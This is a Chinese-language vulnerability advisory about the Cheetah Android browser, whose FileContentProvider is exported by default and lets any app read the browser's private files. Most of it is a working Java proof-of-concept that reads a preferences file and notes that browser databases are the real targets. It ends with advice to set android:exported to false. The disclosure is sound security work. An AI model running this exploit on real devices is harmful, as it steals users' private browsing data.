猎豹浏览器的FileContentProvider组件可被任意第三方App调用,第三方App利用此组件可以读取浏览器中的任意私有数据。
组成猎豹浏览器的Content Providers中,com.ijinshan.browser.android.provider.FileContentProvider可以读取指定的文件,AndroidManifest.xml配置文件中没有指定android:exported的值,其android:exported取的是默认的值:true,导致任意第三方App都可以调用此接口,读取浏览器中的任意私有文件信息。
package com.example.x3xtxt.demo.lb;
import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import android.net.Uri;
import android.os.Bundle;
import android.app.Activity;
import android.view.Menu;
import android.widget.Toast;
public class MainActivity extends Activity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
// 窃取目标文件路径,作为演示,就选小一点的文件:shared_prefs/bids.xml
// 实际的攻击中,我们对databases目录下的记载有敏感信息的文件更感兴趣,比如:databases/browser.db之类的。
String sensitive_file_path = "content://com.ijinshan.htmlfileprovider/file:///data/data/com.ijinshan.browser/shared_prefs/bids.xml";
ContentProviderFileOperations(sensitive_file_path);
}
@Override
public boolean onCreateOptionsMenu(Menu menu) {
// Inflate the menu; this adds items to the action bar if it is present.
getMenuInflater().inflate(R.menu.main, menu);
return true;
}
public void ContentProviderFileOperations(String filepath){
try{
InputStream in = getContentResolver().openInputStream(Uri.parse(filepath));
ByteArrayOutputStream out = new ByteArrayOutputStream();
byte[] buffer = new byte[1024];
int n = in.read(buffer);
while(n>0){
out.write(buffer, 0, n);
n = in.read(buffer);
Toast.makeText(getBaseContext(), out.toString(), Toast.LENGTH_LONG).show();
}
}catch(Exception e){
debugInfo(e.getMessage());
}
}
public void debugInfo(String msg){
Toast.makeText(getApplicationContext(), msg, Toast.LENGTH_LONG).show();
}
}
如果浏览器在功能上并不要求导出此接口给第三方App,则应当将其android:exported设置为false,请RD自行确定限制规则。
版权与免责声明:
凡注明稿件来源的内容均为转载稿或由网友用户注册发布,本网转载出于传递更多信息的目的;如转载稿涉及版权问题,请作者联系我们,同时对于用户评论等信息,本网并不意味着赞同其观点或证实其内容的真实性;